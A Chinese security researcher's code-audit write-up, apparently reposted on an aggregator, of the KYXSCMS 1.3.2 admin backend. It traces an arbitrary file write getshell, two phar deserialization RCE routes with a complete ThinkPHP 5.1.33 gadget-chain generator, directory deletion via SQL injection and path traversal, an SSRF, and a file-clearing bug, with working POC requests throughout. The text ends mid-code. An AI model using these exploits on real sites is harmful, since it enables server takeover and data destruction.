KYXSCMS1.3.2审计与测试

Posted bfengj

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了KYXSCMS1.3.2审计与测试相关的知识,希望对你有一定的参考价值。

KYXSCMS1.3.2审计与测试

再过一个多星期就要彻底进入期末了,将会迎来20多天的悲惨的期末复习时光,基本上算是只能一直取突击,学不辽安全了。所以最近学Java就学的很烦躁,基础知识看不下去了,那就来看一下CMS叭。想了一下,正好想起来Y4师傅时不时会发一些CMS的审计文章,所以我就跟着Y4师傅的文章来进行学习。选了这个KYXSCMS的getshell来进行复现,但是没想到复现之后自己审计,又审出了这么多新的东西。

任意文件写入的getshell(复现)

下载源码:

http://bbs.kyxscms.com/?t/1.html

扔到本地安装一下,一开始没直接看Y4师傅的文章,而是把这个CMS的东西大致看了一下,确实我自己粗略的瞅了一会没找到getshell的地方,感觉这个CMS到处都是数据库的操作,tp5.1.33也没SQL注入,而且感觉cnvd之前已经爆了很多洞了,所以基本上可能没啥洞可以审了。

getshell是在这个CMS后台的模板编辑这个功能点上,我也是挺菜的,之前测功能点的时候这里没找到更改按钮我就没细看,其实模板编辑确实是CMS容易getshell的一个功能点,我也需要慢慢的积累一下审计的经验,熟悉CMS容易getshell的功能点,对于提高审计的效率会很有帮助。

漏洞函数位于application/admin/controller/Template.phpedit方法:

    public function edit(){
        $Template=model('template');
        $data=$this->request->post();
        if($this->request->isPost()){
            $res = $Template->edit($data);

post传参,跟进一下$Template->edit函数,是在application/admin/model/Template.php

    public function edit($data){
        return File::put($data['path'],$data['content']);
    }

继续跟进这个静态方法put,其实看到这里就可能有点感觉了能任意写了。

    static public function put($filename,$content,$type=''){
        $dir   =  dirname($filename);
        if(!is_dir($dir))
            mkdir($dir,0755,true);
        if(false === file_put_contents($filename,$content)){
            throw new \\think\\Exception('文件写入错误:'.$filename);
        }else{
            self::$contents[$filename]=$content;
            return true;
        }
    }

相当于调用file_put_contents($filename,$content)

POC:

http://www.kyxscms132.com/admin/template/edit

path=.feng.php&content=<?php phpinfo();?>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kmpVAwvZ-1622968456376)(D:\\this_is_feng\\github\\CTF\\Web\\picture\\pic9.png)]

接下来开始自己挖掘这个CMS的漏洞。

phar rce 1

其实之前一直在考虑,既然是thinkphp5.1.33,是不是可以利用phar反序列化。但是找文件操作函数没找到。这里的写文件其实没法phar,因为前面的mkdir过不去:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rhMC8yWy-1622968456378)(D:\\this_is_feng\\github\\CTF\\Web\\picture\\pic10.png)]


不过第二天我还在看这个cms的时候突然又想到了这里,有些不甘心的又试了一下,主要就是这里:

        $dir   =  dirname($filename);
        if(!is_dir($dir))
            mkdir($dir,0755,true);
        if(false === file_put_contents($filename,$content)){

比如我传path=phar://./uploads/config/20210602/20a9e2a63d2a1e5d42094af2ec61e42e.png&content=1

,经过dirname得到的是phar://./uploads/config/20210602/,我突然想起来这个我可以绕的啊,我真是太菜了:

path=phar://./uploads/config/20210602/20a9e2a63d2a1e5d42094af2ec61e42e.png/123&content=1

在后面再加一层目录就行:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-82knDanK-1622968456381)(D:\\this_is_feng\\github\\CTF\\Web\\picture\\pic15.png)]

又一处phar反序列化。


phar rce 2

非常的凑巧,我往下面看了一眼:

        }else{
            $path=urldecode($this->request->param('path'));
            $info=$Template->file_info($path);
            $this->assign('path',$path);
            $this->assign('content',$info);
            $this->assign('meta_title','修改模版文件');
            return $this->fetch();
        }

这个edit方法如果不是post传还是get的话,跟进一下file_info函数,进入:

    public function file_info($path){
        return File::read($path);
    }

再继续跟进read函数:

    static public function read($filename,$type=''){
        return self::get($filename,'content',$type);
    }

继续跟进get函数:

    static public function get($filename,$name,$type=''){
        if(!isset(self::$contents[$filename])){
            if(!is_file($filename)) return false;
           self::$contents[$filename]=file_get_contents($filename);
        }
        $content=self::$contents[$filename];
        $info   =   array(
            'mtime'     =>  filemtime($filename),
            'content'   =>  $content
        );
        return $info[$name];
    }

注意到第三行的is_file($filename)$filename就是$_GET['path'],所以可以实现phar反序列化。

从网上找个thinkphp5.1.33的链子,生成一下phar:

<?php
namespace think\\process\\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = [$files];
        }
    }
}

namespace think\\model\\concern {
    trait Conversion
    {
    }

    trait Attribute
    {
        private $data;
        private $withAttr = ["lin" => "system"];

        public function get()
        {
            $this->data = ["lin" => "whoami"];
        }
    }
}

namespace think {
    abstract class Model
    {
        use model\\concern\\Attribute;
        use model\\concern\\Conversion;
    }
}

namespace think\\model{
    use think\\Model;
    class Pivot extends Model
    {
        public function __construct()
        {
            $this->get();
        }
    }
}

namespace {

    $conver = new think\\model\\Pivot();
    $a = new think\\process\\pipes\\Windows($conver);


    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($a); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
    $phar->stopBuffering();
}
?>

然后改后缀为png,然后在后台上传:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3MntEhBb-1622968456384)(D:\\this_is_feng\\github\\CTF\\Web\\picture\\pic11.png)]

再phar反序列化即可:

http://xxxx/admin/template/edit?path=phar://./uploads/config/20210602/20a9e2a63d2a1e5d42094af2ec61e42e.png

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-feqpLklb-1622968456386)(D:\\this_is_feng\\github\\CTF\\Web\\picture\\pic12.png)]

任意文件删除1

这个CMS的审计是在数据库内容可控的基础上的。这是因为后台有一个执行SQL语句的功能。

在这个基础上我进行审计的时候,发现了这么一个任意文件删除。不过准确来说不能准确的删除某一个文件,会把指定的目录及其子目录给删除。

漏洞位于application/admin/controller/Template.phpdel方法:

    public function del(){
        $id = array_unique((array)$this->request->param('id'));
        if ( empty($id) ) {
            $this->error('请选择要操作的数据!');
        }
        $Template=model('template');
        $res = $Template->del($id);
        if($res  !== false){
            $this->success('删除成功');
        } else {
            $this->error($Template->getError());
        }
    }

因为数据库可控,所以通过id查到的结果是可控的。跟进$res = $Template->del($id);

    public function del($id){
        $map = ['id' => $id];
        $name = Template::where($map)->column('name');
        foreach ($name as $value) {
            del_dir_file('./'.config('web.default_tpl').DIRECTORY_SEPARATOR.$value,true);
        }

查询出template表中id所对应的那一行的name列,然后作为del_dir_file函数的参数的最后一部分。

这个del_dir_file是用来删除目录或者文件的,因为第二个参数是true,所以只能删除目录。因此进行目录穿越,即可实现任意文件夹的删除。

尝试攻击一下。先在web根目录下创建一个目录1232。

然后先执行SQL:

POST /admin/tool/sqlexecute.html

sql=insert into {pre}template values('3','../../1232/','2','1','2','2','0','2','0')

然后攻击,即可删除文件夹:

http://xxxxxx/admin/template/del?id=3

本来刚准备把这个交CNVD的,结果瞅了一眼发现有个任意文件删除刚发出来,呜呜呜挖晚了被抢先了。

SSRF

继续找还找了一个SSRF,其实感觉确实没啥用,交cnvd也被驳回了,而且类似这样的地方后台还有很多。

漏洞函数在application/admin/controller/Market.phptemplate函数:

	public function template(){
        $url=config('web.official_url').'/market/index/4/'.Config::get('web.list_rows').'/'.$this->request->param('page');
        $data = Http::doGet($url,300);
        $data=json_decode($data,true);
        $paginator = new Bootstrap($data['data'],$data['per_page'],$data['current_page'],$data['total'],false,['path'=>url()]);
        $this->assign('list', $data['data']);
        $this->assign('page',$paginator->render());
        $this->assign('meta_title','模版列表');
        return $this->fetch();
    }

$url就是要请求的url,之后Http::doGet($url,300);进行get请求。不过这个doGet要求$url必须以http或者https开头,所以不能直接用gopher之类的协议进行SSRF。不过没关系,可以利用302跳转,在自己的VPS上写一个302跳转的服务,实现302跳转的SSRF。

再看一下$url是否可控。整个url是这个:

config('web.official_url').'/market/index/4/'.Config::get('web.list_rows').'/'.$this->request->param('page')

可控的是最前面的config('web.official_url')和最后面的$this->request->param('page'),因为config是从数据库ky_config里得到的,而后台存在任意SQL语句执行,所以这个配置是我们可以随意更改的。

先改:

POST /admin/tool/sqlexecute.html

sql=update {pre}config set value  = 'http://118.31.168.198:39456' where id = 92

然后然后后台删除一下缓存文件:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dsV3XYcu-1622968456387)(D:\\this_is_feng\\github\\CTF\\Web\\picture\\pic13.png)]

可以尝试加上一行代码调试:

	public function template(){
        $url=config('web.official_url').'/market/index/4/'.Config::get('web.list_rows').'/'.$this->request->param('page');
        echo $url;
        exit();

可以看到$url可控:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V8I9fsxG-1622968456388)(D:\\this_is_feng\\github\\CTF\\Web\\picture\\pic14.png)]

因此存在SSRF漏洞。

任意文件清空

漏洞位于application/admin/controller/Tool.phpsitemap_progress方法。

    public function sitemap_progress($page=1){
    	$content='';
    	$page_num=$this->request->param('page_num');
        $page_no=$this->request->param('page_no');
        $type=$this->request->param('type');
        $filename='sitemap';
        $map = ['status'=>1];
        $novel=Db::name('novel')->field('id,update_time')->where($map)->order('update_time desc')->limit($page_num);
        if($page_no){
        	$filename.='_'.$page;
        	$data=$novel->page($page);
        	$count=Db::name('novel')->where($map)->count('id');
        	$page_count=ceil($count/$page_num);
        }else{
        	$page_count=1;
        }
        $data=$novel->select();
        foreach ($data as $k=>$v){
			if($type=='xml'){
				$content.='<url>'.PHP_EOL.'<loc>'.url("home/novel/index",["id"=>$v["id"]],true,true).'</loc>'.PHP_EOL.'<mobile:mobile type="pc,mobile" />'.PHP_EOL.'<priority>0.8</priority>'.PHP_EOL.'<lastmod>'.time_format($v["update_time"],'Y-m-d').'</lastmod>'.PHP_EOL.'<changefreq>daily</changefreq>'.PHP_EOL.'</url>';
	        }else{
	        	$content.=url("home/novel/index",["id"=>$v["id"]],true,true).PHP_EOL;
	        }
		}
        if($type=='xml'){
        	$xml='<?xml version="1.0" encoding="UTF-8"?>'.PHP_EOL.'<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:mobile="http://www.baidu.com/schemas/sitemap-mobile/1/">'.PHP_EOL;
			$xml.=$content.PHP_EOL.'</urlset>';
			$content=$xml;
        }
        $url=$this->request->domain().'/runtime/'.'repaste/'.$file

以上是关于KYXSCMS1.3.2审计与测试的主要内容,如果未能解决你的问题,请参考以下文章

OurPHP3.3.1审计与测试

OurPHP3.3.1审计与测试

网站漏洞检测公司对wordpress sql注入漏洞代码审计与修复

海云安源代码审计服务有啥优势吗

bluecms 1.6 审计与渗透测试

bluecms 1.6 审计与渗透测试